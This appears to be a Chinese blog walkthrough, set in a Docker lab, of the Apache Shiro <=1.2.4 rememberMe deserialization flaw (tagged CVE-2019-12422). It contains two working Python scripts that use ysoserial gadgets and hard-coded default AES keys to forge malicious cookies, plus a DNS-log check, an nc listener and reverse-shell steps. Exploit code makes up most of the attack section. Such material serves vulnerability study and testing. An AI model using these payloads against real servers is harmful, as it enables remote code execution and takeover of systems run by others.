Shiro 1.2.4反序列化漏洞

一、shiro描述

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

二、漏洞原理

AES加密的密钥Key被硬编码在代码里,Shiro是开源软件,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞

三、影响范围

Apache Shiro <=1.2.4

四、判断是否使用shiro框架

使用BP抓包,未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

如果以上没有返回remembeMe字段还可以尝试在请求包中的cookie中加入 rememberMe=1,来查看返回包是否有rememberMe=deleteMe字段

五、漏洞复现(CVE-2019-12422)

1、搭建环境

获取docker镜像

docker pull medicean/vulapps:s_shiro_1

重启docker

systemctl restart docker

启动docker镜像

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

2、工具使用

反弹shell

3、手动测试

①验证漏洞是否存在

dnslog申请一个临时域名

使用python脚本,生成检测payload(dns解析)

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    #key =  "Z3VucwAAAAAAAAAAAAAAAA=="
    #key = "wGiHplamyXlVB11UXWol8g=="
	
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("payload.cookie", "w") as fpw:
        print("rememberMe={0}".format(payload.decode()),file=fpw)
python shiro.py "http://0tyl0a.dnslog.cn"

把刚刚生成的payload.cookie粘贴到包里,burp发包,查看dnslog,是否存在dns解析记录

②漏洞利用

VPS监听端口3333

nc -lvvp 1234

构造反弹shell命令,并且进行base64编码

在VPS开启一个JRMP(端口设置1099)

使用s.py构造payload,使存在shiro反序列化的服务器

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    print("rememberMe={0}".format(payload.decode()))

截获数据包,加入payload

反弹shell成功

  • 8
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值